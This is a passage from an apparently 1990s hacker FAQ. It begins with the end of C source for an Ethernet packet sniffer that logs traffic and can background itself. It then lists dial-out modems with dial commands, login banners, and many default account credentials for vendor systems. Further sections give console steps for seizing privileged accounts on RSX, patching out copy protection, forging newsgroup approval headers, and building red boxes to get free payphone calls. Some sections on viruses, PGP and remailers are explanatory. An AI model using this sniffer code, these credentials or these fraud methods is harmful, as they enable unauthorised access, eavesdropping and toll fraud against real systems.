        register char *bp = buf,
                      *bufstop = (buf + cc);

        while (bp < bufstop) {
            register char *cp = bp;
            register struct nit_bufhdr *hdrp;

            hdrp = (struct nit_bufhdr *)cp;
            cp += sizeof(struct nit_bufhdr);
            bp += hdrp->nhb_totlen;
            filter(cp, (u_long)hdrp->nhb_msglen);
        }
    }
    Pexit((-1),"Eth: read");
}
 /* Authorize your proogie,generate your own password and uncomment here */
/* #define AUTHPASSWD "EloiZgZejWyms" */

void getauth()
{ char *buf,*getpass(),*crypt();
  char pwd[21],prmpt[81];

    strcpy(pwd,AUTHPASSWD);
    sprintf(prmpt,"(%s)UP? ",ProgName);
    buf=getpass(prmpt);
    if(strcmp(pwd,crypt(buf,pwd)))
        exit(1);
}
    */
void main(argc, argv)
int argc;
char **argv;
{
    char   cbuf[BUFSIZ];
    struct ifconf ifc;
    int    s,
           ac=1,
           backg=0;

    ProgName=argv[0];

 /*     getauth(); */

    LOG=NULL;
    device=NULL;
    while((ac<argc) && (argv[ac][0] == '-')) {
       register char ch = argv[ac++][1];
       switch(toupper(ch)) {
            case 'I': device=argv[ac++];
                      break;
            case 'F': if(!(LOG=fopen((LogName=argv[ac++]),"a")))
                         Zexit(1,"Output file cant be opened\n");
                      break;
            case 'B': backg=1;
                      break;
            case 'D': debug=1;
                      break;
            default : fprintf(ERR,
                        "Usage: %s [-b] [-d] [-i interface] [-f file]\n",
                            ProgName);
                      exit(1);
       }
    }

    if(!device) {
        if((s=socket(AF_INET, SOCK_DGRAM, 0)) < 0)
            Pexit(1,"Eth: socket");

        ifc.ifc_len = sizeof(cbuf);
        ifc.ifc_buf = cbuf;
        if(ioctl(s, SIOCGIFCONF, (char *)&ifc) < 0)
            Pexit(1,"Eth: ioctl");

        close(s);
        device = ifc.ifc_req->ifr_name;
    }

    fprintf(ERR,"Using logical device %s [%s]\n",device,NIT_DEV);
    fprintf(ERR,"Output to %s.%s%s",(LOG)?LogName:"stdout",
            (debug)?" (debug)":"",(backg)?" Backgrounding ":"\n");

    if(!LOG)
        LOG=stdout;

    signal(SIGINT, death);
    signal(SIGTERM,death);
    signal(SIGKILL,death);
    signal(SIGQUIT,death);

    if(backg && debug) {
         fprintf(ERR,"[Cannot bg with debug on]\n");
         backg=0;
    }

    if(backg) {
        register int s;

        if((s=fork())>0) {
           fprintf(ERR,"[pid %d]\n",s);
           exit(0);
        } else if(s<0)
           Pexit(1,"fork");

        if( (s=open("/dev/tty",O_RDWR))>0 ) {
                ioctl(s,TIOCNOTTY,(char *)NULL);
                close(s);
        }
    }
    fprintf(LOG,"\nLog started at => %s [pid %d]\n",NOWtm(),getpid());
    fflush(LOG);

    do_it();
}


18. What is an Internet Outdial?

An Internet outdial is a modem connected to the Internet than you can
use to dial out.  Normal outdials will only call local numbers.  A GOD
(Global OutDial) is capable of calling long distance.  Outdials are an
inexpensive method of calling long distance BBS's.


19. What are some Internet Outdials?

This FAQ answer is excerpted from CoTNo #5:

                        Internet Outdial List v3.0
                         by Cavalier and DisordeR


Introduction
------------
There are several lists of Internet outdials floating around the net these
days. The following is a compilation of other lists, as well as v2.0 by
DeadKat(CoTNo issue 2, article 4). Unlike other lists where the author
just ripped other people and released it, we have sat down and tested
each one of these. Some of them we have gotten "Connection Refused" or
it timed out while trying to connect...these have been labeled dead.


                           Working Outdials
                           ----------------
                            as of 12/29/94

NPA          IP Address                   Instructions
---          ----------                   ------------
215          isn.upenn.edu                modem

217          dialout.cecer.army.mil       atdt x,xxxXXXXX

218          modem.d.umn.edu              atdt9,xxxXXXX

303          yuma.acns.colostate.edu 3020

412          gate.cis.pitt.edu            tn3270,
                                          connect dialout.pitt.edu,
                                          atdtxxxXXXX

413          dialout2400.smith.edu        Ctrl } gets ENTER NUMBER: xxxxxxx

502          outdial.louisville.edu

502          uknet.uky.edu                connect kecnet
                                          @ dial: "outdial2400 or out"

602          acssdial.inre.asu.edu        atdt8,,,,,[x][yyy]xxxyyyy

614          ns2400.acs.ohio-state.edu

614          ns9600.acs.ohio-state.edu

713          128.249.27.153               atdt x,xxxXXXX

714          modem.nts.uci.edu            atdt[area]0[phone]

804          ublan.virginia.edu           connect hayes, 9,,xxx-xxxx

804          ublan2.acc.virginia.edu      connect telnet
                                          connect hayes



                           Need Password
                           -------------

206          rexair.cac.washington.edu    This is an unbroken password
303          yuma.ACNS.ColoState.EDU      login: modem
404          128.140.1.239                .modem8|CR
415          annex132-1.EECS.Berkeley.EDU "dial1" or "dial2" or "dialer1"
514          cartier.CC.UMontreal.CA      externe,9+number
703          wal-3000.cns.vt.edu          dial2400 -aa


                          Dead/No Connect
                          ---------------

201          idsnet
202          modem.aidt.edu
204          dial.cc.umanitoba.ca
204          umnet.cc.manitoba.ca         "dial12" or "dial24"
206          dialout24.cac.washington.edu
207          modem-o.caps.maine.edu
212          B719-7e.NYU.EDU              dial3/dial12/dial24
212          B719-7f.NYU.EDU              dial3/dial12/dial24
212          DIALOUT-1.NYU.EDU            dial3/dial12/dial24
212          FREE-138-229.NYU.EDU         dial3/dial12/dial24
212          UP19-4b.NYU.EDU              dial3/dial12/dial24
215          wiseowl.ocis.temple.edu      "atz" "atdt 9xxxyyyy"
218          aa28.d.umn.edu               "cli" "rlogin modem"
                                          at "login:"  type "modem"
218          modem.d.umn.edu              Hayes 9,XXX-XXXX
301          dial9600.umd.edu
305          alcat.library.nova.edu
305          office.cis.ufl.edu
307          modem.uwyo.edu               Hayes  0,XXX-XXXX
313          35.1.1.6                     dial2400-aa or dial1200-aa
                                          or dialout
402          dialin.creighton.edu
402          modem.criegthon.edu
404          broadband.cc.emory.edu       ".modem8" or ".dialout"
408          dialout.scu.edu
408          dialout1200.scu.edu
408          dialout2400.scu.edu
408          dialout9600.scu.edu
413          dialout.smith.edu
414          modems.uwp.edu
416          annex132.berkely.edu         atdt 9,,,,, xxx-xxxx
416          pacx.utcs.utoronto.ca        modem
503          dialout.uvm.edu
513          dialout24.afit.af.mil
513          r596adi1.uc.edu
514          pacx.CC.UMontreal.CA         externe#9 9xxx-xxxx
517          engdial.cl.msu.edu
602          dial9600.telcom.arizona.edu
603          dialout1200.unh.edu
604          dial24-nc00.net.ubc.ca
604          dial24-nc01.net.ubc.ca
604          dial96-np65.net.ubc.ca
604          gmodem.capcollege.bc.ca
604          hmodem.capcollege.bc.ca
609          128.119.131.11X (X= 1 - 4)   Hayes
609          129.119.131.11x  (x = 1 to 4)
609          wright-modem-1.rutgers.edu
609          wright-modem-2.rutgers.edu
612          modem_out12e7.atk.com
612          modem_out24n8.atk.com
614          ns2400.ircc.ohio-state.edu   "dial"
615          dca.utk.edu                  dial2400 D 99k #
615          MATHSUN23.MATH.UTK.EDU       dial 2400  d  99Kxxxxxxx
616          modem.calvin.edu
617          128.52.30.3                  2400baud
617          dialout.lcs.mit.edu
617          dialout1.princeton.edu
617          isdn3.Princeton.EDU
617          jadwingymkip0.Princeton.EDU
617          lord-stanley.Princeton.EDU
617          mpanus.Princeton.EDU
617          mrmodem.wellesley.edu
617          old-dialout.Princeton.EDU
617          stagger.Princeton.EDU
617          sunshine-02.lcs.mit.edu
617          waddle.Princeton.EDU
619          128.54.30.1                  atdt [area][phone]
619          dialin.ucsd.edu              "dialout"
703          modem_pool.runet.edu
703          wal-3000.cns.vt.edu
713          128.249.27.154               "c modem96"  "atdt 9xxx-xxxx"
                                          or "Hayes"
713          modem12.bcm.tmc.edu
713          modem24.bcm.tmc.edu
713          modem24.bcm.tmc.edu
714          mdmsrv7.sdsu.edu             atdt 8xxx-xxxx
714          modem24.nts.uci.edu
714          pub-gopher.cwis.uci.edu
801          dswitch.byu.edu              "C Modem"
808          irmodem.ifa.hawaii.edu
902          star.ccs.tuns.ca             "dialout"
916          129.137.33.72
916          cc-dnet.ucdavis.edu          connect hayes/dialout
916          engr-dnet1.engr.ucdavis.edu  UCDNET <ret> C KEYCLUB <ret>
???          128.119.131.11X              (1 - 4)
???          128.200.142.5
???          128.54.30.1                  nue, X to discontinue, ? for Help
???          128.6.1.41
???          128.6.1.42
???          129.137.33.72
???          129.180.1.57
???          140.112.3.2                  ntu            <none>
???          annexdial.rz.uni-duesseldorf.de
???          dial96.ncl.ac.uk
???          dialout.plk.af.mil
???          ee21.ee.ncu.edu.tw           cs8005
???          im.mgt.ncu.edu.tw            guest           <none>
???          modem.cis.uflu.edu
???          modem.ireq.hydro.qc.ca
???          modems.csuohio.edu
???          sparc20.ncu.edu.tw           u349633
???          sun2cc.nccu.edu.tw           ?
???          ts-modem.une.oz.au
???          twncu865.ncu.edu.tw          guest           <none>
???          vtnet1.cns.ut.edu            "CALL" or "call"


Conclusion
----------
If you find any of the outdials to have gone dead, changed commands,
or require password, please let us know so we can keep this list as
accurate as possible. If you would like to add to the list, feel free
to mail us and it will be included in future versions of this list,
with your name beside it. Have fun...

[Editors note: Updates have been made to this document after
               the original publication]


20. What is this system?


AIX
~~~
IBM AIX Version 3 for RISC System/6000
(C) Copyrights by IBM and by others 1982, 1990.
login:

[You will know an AIX system because it is the only Unix system that]
[clears the screen and issues a login prompt near the bottom of the]
[screen]


AS/400
~~~~~~
UserID?
Password?

Once in, type GO MAIN


CDC Cyber
~~~~~~~~~
WELCOME TO THE NOS SOFTWARE SYSTEM.
COPYRIGHT CONTROL DATA 1978, 1987.

88/02/16. 02.36.53. N265100
CSUS CYBER 170-730.                     NOS 2.5.2-678/3.
FAMILY:

You would normally just hit return at the family prompt.  Next prompt is:

USER NAME:


CISCO Router
~~~~~~~~~~~~
                             FIRST BANK OF TNO
                           95-866 TNO VirtualBank
                          REMOTE Router -  TN043R1

                                Console Port

                                SN - 00000866

TN043R1>


DECserver
~~~~~~~~~
DECserver 700-08 Communications Server V1.1 (BL44G-11A) - LAT V5.1
DPS502-DS700

(c) Copyright 1992, Digital Equipment Corporation - All Rights Reserved

Please type HELP if you need assistance

Enter username> TNO

Local>


Hewlett Packard MPE-XL
~~~~~~~~~~~~~~~~~~~~~~
MPE XL:
EXPECTED A :HELLO COMMAND. (CIERR 6057)
MPE XL:
EXPECTED [SESSION NAME,] USER.ACCT [,GROUP]   (CIERR 1424)
MPE XL:


GTN
~~~
WELCOME TO CITIBANK. PLEASE SIGN ON.
XXXXXXXX

@
PASSWORD =

@

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

PLEASE ENTER YOUR ID:-1->
PLEASE ENTER YOUR PASSWORD:-2->

CITICORP (CITY NAME). KEY GHELP FOR HELP.
  XXX.XXX
 PLEASE SELECT SERVICE REQUIRED.-3->


Lantronix Terminal Server
~~~~~~~~~~~~~~~~~~~~~~~~~
Lantronix ETS16 Version V3.1/1(940623)

Type HELP at the 'Local_15> ' prompt for assistance.

Login password>


Meridian Mail (Northern Telecom Phone/Voice Mail System)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                            MMM       MMMERIDIAN
                           MMMMM     MMMMM
                         MMMMMM   MMMMMM
                        MMM  MMMMM  MMM     MMMMM     MMMMM
                      MMM   MMM   MMM     MMMMMM   MMMMMM
                     MMM         MMM     MMM MMM MMM MMM
                    MMM         MMM     MMM  MMMMM  MMM
                   MMM         MMM     MMM   MMM   MMM
                  MMM         MMM     MMM         MMM
                 MMM         MMM     MMM         MMM
                MMM         MMM     MMM         MMM
               MMM         MMM     MMM         MMM
              MMM         MMM     MMM         MMM

                                          Copyright (c) Northern Telecom, 1991


Novell ONLAN
~~~~~~~~~~~~

N

[To access the systems it is best to own a copy of ONLAN/PC]


PC-Anywhere
~~~~~~~~~~~

P

[To access the systems it is best to own a copy of PCAnywhere Remote]


PRIMOS
~~~~~~
PRIMENET 19.2.7F PPOA1

<any text>

ER!

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

CONNECT
Primenet V 2.3  (system)
LOGIN           (you)
User id?        (system)
SAPB5           (you)
Password?       (system)
DROWSAP         (you)
OK,             (system)


ROLM CBX II
~~~~~~~~~~~
ROLM CBXII  RELEASE 9004.2.34 RB295 9000D IBMHO27568
BIND DATE:  7/APR/93
COPYRIGHT 1980, 1993 ROLM COMPANY.  ALL RIGHTS RESERVED.
ROLM IS A REGISTERED TRADEMARK AND CBX IS A TRADEMARK OF ROLM COMPANY.
YOU HAVE ENTERED CPU 1
12:38:47 ON WEDNESDAY 2/15/1995

USERNAME: op

PASSWORD:

 INVALID USERNAME-PASSWORD PAIR


ROLM-OSL
~~~~~~~~
MARAUDER10292  01/09/85(^G) 1 03/10/87  00:29:47
RELEASE 8003
OSL, PLEASE.
?


System75
~~~~~~~~
Login: root
INCORRECT LOGIN

Login: browse
Password:

Software Version: G3s.b16.2.2

Terminal Type (513, 4410, 4425): [513]


Tops-10
~~~~~~~
NIH Timesharing

NIH Tri-SMP 7.02-FF  16:30:04 TTY11
system 1378/1381/1453 Connected to Node Happy(40) Line # 12
Please LOGIN
.


VM/370
~~~~~~
VM/370
!


VM/ESA
~~~~~~
VM/ESA ONLINE

                                          TBVM2 VM/ESA Rel 1.1     PUT 9200

Fill in your USERID and PASSWORD and press ENTER
(Your password will not appear when you type it)
USERID   ===>
PASSWORD ===>

COMMAND  ===>


Xylogics Annex Communications Server
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Annex Command Line Interpreter   *   Copyright 1991 Xylogics, Inc.

Checking authorization, Please wait...
Annex username: TNO
Annex password:

Permission granted
annex:


21. What are the default accounts for XXX?

AIX
~~~
guest           guest


AS/400
~~~~~~
qsecofr         qsecofr         /* master security officer */
qsysopr         qsysopr         /* system operator         */
qpgmr           qpgmr           /* default programmer      */

also

ibm/password
ibm/2222
ibm/service
qsecofr/1111111
qsecofr/2222222
qsvr/qsvr
secofr/secofr


DECserver
~~~~~~~~~
ACCESS
SYSTEM


Dynix (The library software, not the UnixOS)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
(Type 'later' to exit to the login prompt)
setup           <no password>
library         <no password>
circ            <9 digit number>


Hewlett Packard MPE-XL
~~~~~~~~~~~~~~~~~~~~~~
HELLO           MANAGER.SYS
HELLO           MGR.SYS
HELLO           FIELD.SUPPORT     HPUNSUP or SUPPORT or HP
HELLO           OP.OPERATOR
MGR             CAROLIAN
MGR             CCC
MGR             CNAS
MGR             CONV
MGR             COGNOS
OPERATOR        COGNOS
MANAGER         COGNOS
OPERATOR        DISC
MGR             HPDESK
MGR             HPWORD
FIELD           HPWORD
MGR             HPOFFICE
SPOOLMAN        HPOFFICE
ADVMAIL         HPOFFICE
MAIL            HPOFFICE
WP              HPOFFICE
MANAGER         HPOFFICE
MGR             HPONLY
FIELD           HPP187
MGR             HPP187
MGR             HPP189
MGR             HPP196
MGR             INTX3
MGR             ITF3000
MANAGER         ITF3000
MAIL            MAIL
MGR             NETBASE
MGR             REGO
MGR             RJE
MGR             ROBELLE
MANAGER         SECURITY
MGR             SECURITY
FIELD           SERVICE
MANAGER         SYS
MGR             SYS
PCUSER          SYS
RSBCMON         SYS
OPERATOR        SYS
OPERATOR        SYSTEM
FIELD           SUPPORT
OPERATOR        SUPPORT
MANAGER         TCH
MAIL            TELESUP
MANAGER         TELESUP
MGR             TELESUP
SYS             TELESUP
MGE             VESOFT
MGE             VESOFT
MGR             WORD
MGR             XLSERVER

Common jobs are Pub, Sys, Data
Common passwords are HPOnly, TeleSup, HP, MPE, Manager, MGR, Remote


Major BBS
~~~~~~~~~
Sysop           Sysop


Mitel PBX
~~~~~~~~~
SYSTEM


NeXTSTEP
~~~~~~~~
root            NeXT
signa           signa


Nomadic Computing Environment (NCE) on the Tadpole Technologies SPARCBook3
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
fax             <no password>


PICK O/S
~~~~~~~~
DSA             # Desquetop System Administrator
DS
DESQUETOP
PHANTOM


Prolog
~~~~~~
PBX             PBX
NETWORK         NETWORK
NETOP           <null>


Rolm
~~~~
CBX Defaults

op              op
op              operator
su              super
admin           pwp
eng             engineer


PhoneMail Defaults

sysadmin        sysadmin
tech            tech
poll            tech


RSX
~~~
SYSTEM/SYSTEM   (Username SYSTEM, Password SYSTEM)
1,1/system      (Directory [1,1] Password SYSTEM)
BATCH/BATCH
SYSTEM/MANAGER
USER/USER

Default accounts for Micro/RSX:

                MICRO/RSX

Alternately you can hit <CTRL-Z>  when the boot sequence asks you for the
date and create an account using:

                RUN ACNT
            or  RUN $ACNT

(Numbers below 10 {oct} are Priveleged)

Reboot and wait for the date/time question. Type ^C and at the MCR prompt,
type "abo at." You must include the . dot!

If this works, type "acs lb0:/blks=1000" to get some swap space so the
new step won't wedge.

type " run $acnt" and change the password of any account with a group
number of 7 or less.

You may find that the ^C does not work. Try ^Z and ESC as well.
Also try all 3 as terminators to valid and invalid times.

If none of the above work, use the halt switch to halt the system,
just after a invalid date-time.  Look for a user mode PSW 1[4-7]xxxx.
then deposit 177777 into R6, cross your fingers, write protect the drive
and continue the system.  This will hopefully result in indirect blowing
up...  And hopefully the system has not been fully secured.


SGI Irix
~~~~~~~~
4DGifts         <no password>
guest           <no password>
demos           <no password>
lp              <no password>
nuucp           <no password>
tour            <no password>
tutor           <no password>


System 75
~~~~~~~~~
bcim            bcimpw
bciim           bciimpw
bcms            bcmspw, bcms
bcnas           bcnspw
blue            bluepw
browse          looker, browsepw
craft           crftpw, craftpw, crack
cust            custpw
enquiry         enquirypw
field           support
inads           indspw, inadspw, inads
init            initpw
kraft           kraftpw
locate          locatepw
maint           maintpw, rwmaint
nms             nmspw
rcust           rcustpw
support         supportpw
tech            field


Taco Bell
~~~~~~~~~
rgm             rollout
tacobell        <null>


Verifone Junior 2.05
~~~~~~~~~~~~~~~~~~~~
Default password: 166816


VMS
~~~
field           service
systest         utep


XON / XON Junior
~~~~~~~~~~~~~~~~
Default password: 166831


22. What port is XXX on?

The file /etc/services on most Unix machines lists the port
assignments for that machine.  For a complete list of port
assignments, read RFC (Request For Comments) 1700 "Assigned Numbers"


23.  What is a trojan/worm/virus/logic bomb?

This FAQ answer was written by Theora:

Trojan:

Remember the Trojan Horse?  Bad guys hid inside it until they could
get into the city to do their evil deed.  A trojan computer program is
similar.  It is a program which does an unauthorized function, hidden
inside an authorized program.  It does something other than what it
claims to do, usually something malicious (although not necessarily!),
and it is intended by the author to do whatever it does.  If it's not
intentional, its called a 'bug' or, in some cases, a feature :) Some
virus scanning programs detect some trojans.  Some virus scanning
programs don't detect any trojans.  No virus scanners detect all
trojans.

Virus:

A virus is an independent program which reproduces itself.  It may
attach to other programs, it may create copies of itself (as in
companion viruses).  It may damage or corrupt data, change data, or
degrade the performance of your system by utilizing resources such as
memory or disk space.  Some virus scanners detect some viruses.  No
virus scanners detect all viruses.  No virus scanner can protect
against "any and all viruses, known and unknown, now and forevermore".

Worm:

Made famous by Robert Morris, Jr. , worms are programs which reproduce
by copying themselves over and over, system to system, using up
resources and sometimes slowing down the systems.  They are self
contained and use the networks to spread, in much the same way viruses
use files to spread.  Some people say the solution to viruses and
worms is to just not have any files or networks.  They are probably
correct.  We would include computers.

Logic Bomb:

Code which will trigger a particular form of 'attack' when a
designated condition is met.  For instance, a logic bomb could delete
all files on Dec.  5th.  Unlike a virus, a logic bomb does not make
copies of itself.


24.  How can I protect myself from viruses and such?

This FAQ answer was written by Theora:

The most common viruses are boot sector infectors.  You can help
protect yourself against those by write protecting all disks which you
do not need write access to.  Definitely keep a set of write protected
floppy system disks.  If you get a virus, it will make things much
simpler.  And, they are good for coasters.  Only kidding.

Scan all incoming files with a recent copy of a good virus scanner.
Among the best are F-Prot, Dr.  Solomon's Anti-virus Toolkit, and
Thunderbyte Anti-Virus.  AVP is also a good proggie.  Using more than
one scanner could be helpful.  You may get those one or two viruses
that the other guy happened to miss this month.

New viruses come out at the rate of about 8 per day now.  NO scanner
can keep up with them all, but the four mentioned here do the best job
of keeping current.  Any _good_ scanner will detect the majority of
common viruses.  No virus scanner will detect all viruses.

Right now there are about 5600 known viruses.  New ones are written
all the time.  If you use a scanner for virus detection, you need to
make sure you get frequent updates.  If you rely on behaviour
blockers, you should know that such programs can be bypassed easily by
a technique known as tunnelling.

You may want to use integrity checkers as well as scanners.  Keep in
mind that while these can supply added protection, they are not
foolproof.

You may want to use a particular kind of scanner, called resident
scanners.  Those are programs which stay resident in the computer
memory and constantly monitor program execution (and sometimes even
access to the files containing programs).  If you try to execute a
program, the resident scanner receives control and scans it first for
known viruses.  Only if no such viruses are found, the program is
allowed to execute.

Most virus scanners will not protect you against many kinds of
trojans, any sort of logic bombs, or worms.  Theoretically, they
_could_ protect you against logic bombs and/or worms, by addition of
scanning strings; however, this is rarely done.

The best, actually only way, to protect yourself is to know what you
have on your system and make sure what you have there is authorised by
you.  Make freqent backups of all important files.  Keep your DOS
system files write protected.  Write protect all disks that you do not
need to write to.  If you do get a virus, don't panic.  Call the
support department of the company who supplies your anti-virus product
if you aren't sure of what you are doing.  If the company you got your
anti-virus software from does not have a good technical support
department, change companies.

The best way to make sure viruses are not spread is not to spread
them.  Some people do this intentionally.  We discourage this. Viruses
aren't cool.


25.  Where can I get more information about viruses?

This FAQ answer was written by Theora:

Assembly lanaguage programming books illustrate the (boring) aspect of
replication and have for a long time.  The most exciting/interesting
thing about viruses is all the controversy around them.  Free speech,
legality, and cute payloads are a lot more interesting than "find
first, find next" calls.  You can get information about the technical
aspects of viruses, as well as help if you should happen to get a
virus, from the virus-l FAQ, posted on comp. virus every so often.
You can also pick up on the various debates there.  There are
alt.virus type newsgroups, but the level of technical expertise is
minimal, and so far at least there has not been a lot of real "help"
for people who want to get -rid- of a virus.

There are a lot of virus experts.  To become one, just call yourself
one.  Only Kidding.  Understanding viruses involves understanding
programming, operating systems, and their interaction.  Understanding
all of the 'Cult of Virus' business requires a lot of discernment.
There are a number of good papers available on viruses, and the Cult
of Virus; you can get information on them from just about anyone
listed in the virus-l FAQ.  The FTP site ftp.informatik.uni-hamburg.de
is a pretty reliable site for proggies and text.


26. What is Cryptoxxxxxxx?

This FAQ answer is excerpted from: Computer Security Basics
                                   by Deborah Russell
                                   and G.T. Gengemi Sr.

A message is called either plaintext or cleartext.  The process of
disguising a message in such a way as to hide its substance is called
encryption.  An encrypted message is called ciphertext.  The process
of turning ciphertext back into plaintext is called decryption.

The art and science of keeping messages secure is called cryptography,
and it is practiced by cryptographers.  Cryptanalysts are
practitioners of cryptanalysis, the art and science of breaking
ciphertext, i.e. seeing through the disguise.  The branch of
mathematics embodying both cryptography and cryptanalysis is called
cryptology, and it's practitioners are called cryptologists.


27. What is PGP?

This FAQ answer is excerpted from: PGP(tm) User's Guide
                                   Volume I: Essential Topics
                                   by Philip Zimmermann

PGP(tm) uses public-key encryption to protect E-mail and data files.
Communicate securely with people you've never met, with no secure
channels needed for prior exchange of keys.  PGP is well featured and
fast, with sophisticated key management, digital signatures, data
compression, and good ergonomic design.

Pretty Good(tm) Privacy (PGP), from Phil's Pretty Good Software, is a
high security cryptographic software application for MS-DOS, Unix,
VAX/VMS, and other computers.  PGP allows people to exchange files or
messages with privacy, authentication, and convenience.  Privacy means
that only those intended to receive a message can read it.
Authentication means that messages that appear to be from a particular
person can only have originated from that person. Convenience means
that privacy and authentication are provided without the hassles of
managing keys associated with conventional cryptographic software.  No
secure channels are needed to exchange keys between users, which makes
PGP much easier to use.  This is because PGP is based on a powerful
new technology called "public key" cryptography.

PGP combines the convenience of the Rivest-Shamir-Adleman (RSA)
public key cryptosystem with the speed of conventional cryptography,
message digests for digital signatures, data compression before
encryption, good ergonomic design, and sophisticated key management.
And PGP performs the public-key functions faster than most other
software implementations.  PGP is public key cryptography for the
masses.


28. What is Tempest?

Tempest stands for Transient Electromagnetic Pulse Surveillance
Technology.

Computers and other electronic equipment release interference to their
surrounding environment.  You may observe this by placing two video
monitors close together.  The pictures will behave erratically until
you space them apart.

Although most of the time these emissions are simply annoyances, they
can sometimes be very helpful.  Suppose we wanted to see what project
a target was working on.  We could sit in a van outside her office and
use sensitive electronic equipment to attempt to pick up and decipher
the emanations from her video monitor.

Our competitor, however, could shield the emanations from her
equipment or use equipment without strong emanations.

Tempest is the US Government program for evaluation and endorsement
of electronic equipment that is safe from eavesdropping.


29. What is an anonymous remailer?

An anonymous remailer is a system on the Internet that allows you to
send e-mail anonymously or post messages to Usenet anonymously.

You apply for an anonymous ID at the remailer site.  Then, when you
send a message to the remailer, it sends it out from your anonymous ID
at the remailer.  No one reading the post will know your real account
name or host name.  If someone sends a message to your anonymous ID,
it will be forwarded to your real account by the remailer.


30. What are the addresses of some anonymous remailers?

The most popular and stable anonymous remailer is anon.penet.fi,
operated by Johan Helsingus.  To obtain an anonymous ID, mail
[e-mail].  For assistance is obtaining an anonymous account
at penet, mail [e-mail].

To see a list on anonymous remailers, finger
[e-mail].


31. How do I defeat Copy Protection?

There are two common methods of defeating copy protection.  The first
is to use a program that removes copy protection.  Popular programs
that do this are CopyIIPC from Central Point Software and CopyWrite
from Quaid Software.  The second method involves patching the copy
protected program.  For popular software, you may be able to locate a
ready made patch.  You can them apply the patch using any hex editor,
such as debug or the Peter Norton's DiskEdit.  If you cannot, you must
patch the software yourself.

Writing a patch requires a debugger, such as Soft-Ice or Sourcer.  It
also requires some knowledge of assembly language.  Load the protected
program under the debugger and watch for it to check the protection
mechanism.  When it does, change that portion of the code.  The code
can be changed from JE (Jump on Equal) or JNE (Jump On Not Equal) to
JMP (Jump Unconditionally).  Or the code may simply be replaced with
NOP (No Operation) instructions.


32. What is 127.0.0.1?

127.0.0.1 is a loopback network connection.  If you telnet, ftp, etc...
to it you are connected to your own machine.


33. How do I post to a moderated newsgroup?

Usenet messages consist of message headers and message bodies.  The
message header tells the news software how to process the message.
Headers can be divided into two types, required and optional. Required
headers are ones like "From" and "Newsgroups."  Without the required
headers, your message will not be posted properly.

One of the optional headers is the "Approved" header.  To post to a
moderated newsgroup, simply add an Approved header line to your
message header.  The header line should contain the newsgroup
moderators e-mail address.  To see the correct format for your target
newsgroup, save a message from the newsgroup and then look at it using
any text editor.

A "Approved" header line should look like this:

Approved: [e-mail]

There cannot not be a blank line in the message header.  A blank line
will cause any portion of the header after the blank line to be
interpreted as part of the message body.

For more information, read RFC 1036: Standard for Interchange of
USENET messages.




Section B: Telephony
~~~~~~~~~~~~~~~~~~~~

01. What is a Red Box?

When a coin is inserted into a payphone, the payphone emits a set of
tones to ACTS (Automated Coin Toll System).  Red boxes work by fooling
ACTS into believing you have actually put money into the phone.  The
red box simply plays the ACTS tones into the telephone microphone.
ACTS hears those tones, and allows you to place your call.  The actual
tones are:

Nickel Signal      1700+2200  0.060s on
Dime Signal        1700+2200  0.060s on, 0.060s off, twice repeating
Quarter Signal     1700+2200  33ms on, 33ms off, 5 times repeating


02. How do I build a Red Box?

Red boxes are commonly manufactured from modified Radio Shack tone
dialers, Hallmark greeting cards, or made from scratch from readily
available electronic components.

To make a Red Box from a Radio Shack 43-141 or 43-146 tone dialer,
open the dialer and replace the crystal with a new one.
The purpose of the new crystal is to cause the * button on your tone
dialer to create a 1700Mhz and 2200Mhz tone instead of the original
941Mhz and 1209Mhz tones.  The exact value of the replacement crystal
should be 6.466806 to create a perfect 1700Mhz tone and 6.513698 to
create a perfect 2200mhz tone. A crystal close to those values will
create a tone that easily falls within the loose tolerances of ACTS.
The most popular choice is the 6.5536Mhz crystal, because it is the
eaiest to procure.  The old crystal is the large shiny metal component
labeled "3.579545Mhz."  When you are finished replacing the crystal,
program the P1 button with five *'s.  That will simulate a quarter
tone each time you press P1.


03. Where can I get a 6.5536Mhz crystal?

Your best bet is a local electronics store.  Radio Shack sells them,
but they are overpriced and the store must order them in.  This takes
approximately two weeks.  In addition, many Radio Shack employees do
not know that this can be done.

Or, you could order the crystal mail order.  This introduces Shipping
and Handling charges, which are usually much greater than the price of
the crystal.  It's best to get several people together to share the
S&H cost.  Or, buy five or six yourself and sell them later.  Some of
the places you can order crystals are:

Digi-Key
701 Brooks Avenue South
P.O. Box 677
Thief River Falls, MN 56701-0677
(80)344-4539
Part Number:X415-ND    /* Note: 6.500Mhz and only .197 x .433 x .149! */
Part Number:X018-ND

JDR Microdevices:
2233 Branham Lane
San Jose, CA 95124
[phone]
Part Number: 6.5536MHZ

Tandy Express Order Marketing
401 NE 38th Street
Fort Worth, TX 76106
[phone]
Part Number: 10068625

Alltronics
2300 Zanker Road
San Jose CA 95131
[phone] Voice
[phone] Fax
[phone] BBS
Part Number: 92A057

Mouser
[phone]
Part Number: 332-1066


04. Which payphones will a Red Box work on?

Red Boxes will work on TelCo owned payphones, but not on COCOT's
(Customer Owned Coin Operated Telephones).

Red boxes work by fooling ACTS (Automated Coin Toll System) into
believing you have put money into the pay phone.  ACTS is the
telephone company software responsible for saying "Please deposit XX
cents" and listening for the coins being deposited.

COCOT's do not use ACTS.  On a COCOT, the pay phone itself is
responsible for determining what coins have been inserted.


05. How do I make local calls with a Red Box?

Payphones do not use ACTS for local calls.  To use your red box for
local calls, you have to fool ACTS into getting involved in the call.

One way to do this, in some areas, is by dialing 10288-xxx-xxxx.  This
makes your call a long distance call, and brings ACTS into the
picture.

In other areas, you can call Directory Assistance and ask for the
number of the person you are trying to reach.  The operator will give
you the number and then you will hear a message similar to "Your call
can be completed automatically for an additional 35 cents."  When this
happens, you can then use ACTS tones.


06. What is a Blue Box?

Blue boxes use a 2600hz tone to size control of telephone switches
that use in-band signalling.  The caller may then access special
switch functions, with the usual purpose of making free long distance
phone calls, using the tones provided by the Blue Box.


07. Do Blue Boxes still work?

Blue Boxes still work in areas using in band signalling.  Modern phone
switches use out of band signalling.  Nothing you send over the voice
portion of bandwidth can control the switch.  If you are in an area
